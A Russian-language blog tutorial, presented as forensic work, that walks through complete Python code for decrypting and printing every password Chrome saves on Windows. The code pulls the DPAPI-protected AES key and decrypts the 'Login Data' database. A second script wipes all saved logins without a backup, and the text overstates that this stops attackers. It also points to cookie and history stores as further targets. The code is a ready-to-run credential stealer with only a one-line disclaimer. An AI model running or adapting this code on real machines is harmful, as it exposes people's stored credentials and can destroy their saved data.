Из опыта судебной экспертизы: Как извлечь пароли Chrome с использованием Python

Поскольку Chrome сохраняет пароли для подключения к различным web-ресурсам локально, в базе данных sqlite, возможность извлечения сохраненных паролей в самом популярном браузере — полезная и, порой, решающая задача для успеха криминалистического исследования. Однако, делать это вручную довольно муторно. Кроме того, Chrome сохраняет большую часть данных о всех просмотрах локально, на вашем диске. Здесь показан реально используемый код Python для извлечения сохраненных паролей в Chrome с Windows, который не однократно использовался при проведении судебной экспертизы, связанной с киберпреступлениями по запросам арбитражного суда. А таких преступлений становится всё больше и больше. Кроме того, показан небольшой скрипт для защиты от подобных атак.

Для начала установим необходимую библиотеки:

pip3 install pycryptodome pypiwin32

Откроем новый файл Python и импортируем необходимые модули:

import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta

Прежде чем перейти непосредственно к извлечению паролей Chrome, нужно определить несколько полезных функций, которые помогут в основном скрипте:

def get_chrome_datetime(chromedate):
    """Вернуть объект datetime.datetime из формата datetime в chrome
    Поскольку `chromedate` форматируется как количество микросекунд с января 1601 г."""
    return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)

def get_encryption_key():
    local_state_path = os.path.join(os.environ["USERPROFILE"],
                                    "AppData", "Local", "Google", "Chrome",
                                    "User Data", "Local State")
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)

    # декодировать ключ шифрования из Base64
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    # удалить DPAPI str
    key = key[5:]
    # вернуть расшифрованный ключ, который был изначально зашифрован
    # использование сеансового ключа, полученного из учетных данных текущего пользователя
    # документ: http://timgolden.me.uk/pywin32-docs/win32crypt.html
    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

def decrypt_password(password, key):
    try:
        # получить вектор инициализации
        iv = password[3:15]
        password = password[15:]
        # генерировать шифр
        cipher = AES.new(key, AES.MODE_GCM, iv)
        # расшифровать пароль
        return cipher.decrypt(password)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            # не поддерживается
            return ""

Функция get_chrome_datetime() отвечает за преобразование формата даты chrome в ронятный формат даты и времени.

Функция get_encryption_key() извлекает и декодирует ключ Advanced Encryption Standard, который использовался для шифрования паролей, он хранится в пути %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State как файл JSON.

decrypt_password() принимает зашифрованный пароль и ключ AES в качестве аргументов и возвращает расшифрованную версию пароля.

Ниже приведены основные функции:

def main():
    # получить ключ AES
    key = get_encryption_key()
    # локальный путь к базе данных sqlite Chrome
    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                            "Google", "Chrome", "User Data", "default", "Login Data")
    # копируем файл в другое место
    # поскольку база данных будет заблокирована, если в данный момент запущен Chrome
    filename = "ChromeData.db"
    shutil.copyfile(db_path, filename)
    # подключение к БД
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    # таблица logins содержит нужные нам данные
    cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
    # перебор всех строк
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password = decrypt_password(row[3], key)
        date_created = row[4]
        date_last_used = row[5]        
        if username or password:
            print(f"Origin URL: {origin_url}")
            print(f"Action URL: {action_url}")
            print(f"Username: {username}")
            print(f"Password: {password}")
        else:
            continue
        if date_created != 86400000000 and date_created:
            print(f"Creation date: {str(get_chrome_datetime(date_created))}")
        if date_last_used != 86400000000 and date_last_used:
            print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
        print("="*50)
    cursor.close()
    db.close()
    try:
        # попробуйте удалить скопированный файл db
        os.remove(filename)
    except:
        pass

Сначала получим ключ шифрования, используя ранее определенную функцию get_encryption_key(), затем копируем базу данных sqlite (расположенную в %USERPROFILE%\AppData\Local\Google\Chrome\User Data\default\Login Data, в которой сохранены пароли в текущий каталог со скриптом и подключается к ней. Это связано с тем, что исходный файл базы данных будет заблокирован при работающем Chrome.

После этого делаем запрос на выборку для таблицы логинов и перебираем все строки логинов, одновременно расшифровываем каждый пароль и переформатируем даты date_created и date_last_used в более удобочитаемый вид.

Наконец, распечатаем учетные данные и удаляем копию базы данных из текущего каталога.

Вызовем основную функцию:

if __name__ == "__main__":
    main()

Результат должен быть примерно в таком формате (очевидно, что здесь использованы невалидные учетные данные):

Origin URL: https://accounts.google.com/SignUp
Action URL: ttps://accounts.google.com/SignUp
Username: email @gmail.com
Password: rU91aQktOuqVzeq
Creation date: 2020-05-25 07:50:41.416711
Last Used: 2020-05-25 07:50:41.416711
==================================================
Origin URL: https://cutt.ly/register
Action URL: https://cutt.ly/register
Username: email @example.com
Password: AfE9P2o5f5U
Creation date: 2020-07-13 08:31:25.142499
Last Used: 2020-07-13 09:46:24.375584
==================================================

Отлично, теперь вы знаете, что на вашем компьютере есть масса конфиденциальной информации, которую легко прочитать с помощью подобных скриптов.

Отказ от ответственности: Запускайте этот сценарий только на своем компьютере или на компьютере, на использование которого у Вас есть разрешение. Я не несу никакой ответственности за любое неправомерное использование.

Можно почитать: Введение в SQL-библиотеки Python

Удаление паролей

Надеюсь убедил вас в том, что хранить пароли в Chrome довольно опасно. Теперь, зададимся вопросом, как можно себя защитить от подобных вредоносных скриптов.

Здесь я напишу сценарий для доступа к базе данных и удаления всех записей в таблице logins:

import sqlite3
import os

db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                            "Google", "Chrome", "User Data", "default", "Login Data")
db = sqlite3.connect(db_path)
cursor = db.cursor()
# В таблице logins есть нужные нам данные
cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
n_logins = len(cursor.fetchall())
print(f"Deleting a total of {n_logins} logins...")
cursor.execute("delete from logins")
cursor.connection.commit()

Для этого вам потребуется закрыть браузер Chrome, а затем запустить его, вот мой результат:

Deleting a total of 204 logins...

Открыв Chrome на этот раз, вы заметите, что автозаполнение в формах входа больше не существует. Запустив первый скрипт, вы заметите, что он ничего не выводит, так что мы успешно защитились от этого!

Заключение

Здесь вы узнали, как написать сценарии Python для извлечения и удаления паролей Chrome в Windows. Теперь злоумышленники не смогут получить к ним доступ.

Обратите внимание, что здесь говорилось только о файле Login Data, который содержит учетные данные для входа. Изучите этот каталог более подробно.

Например, есть файл History, где хранятся все посещенные URL-адреса, а также поисковые запросы по ключевым словам с множеством других метаданных. Также есть Cookies, Media History, Preferences, QuotaManager, Reporting and NEL, Shortcuts, Top Sites и Web Data.

Это все таблицы базы данных Chrome, к которым можно очень просто получить доступ. Прежде чем их изучать сделайте копию после чего открывайте базу данных, чтобы не закрывать Chrome всякий раз, когда захотите получить доступ к информации.

Всё, на сегодня хватит. Посмотрите полный код в репозитарии на Github.

Немного позже я научу вас взламывать файлы PDF в Python.


Требуется регистрация для доступа к контенту. Регистрация, если Вы уже зарегистрированы — подключитесь
Print Friendly, PDF & Email

CC BY-NC 4.0 Из опыта судебной экспертизы: Как извлечь пароли Chrome с использованием Python, опубликовано К ВВ, лицензия — Creative Commons Attribution-NonCommercial 4.0 International.


Респект и уважуха

Добавить комментарий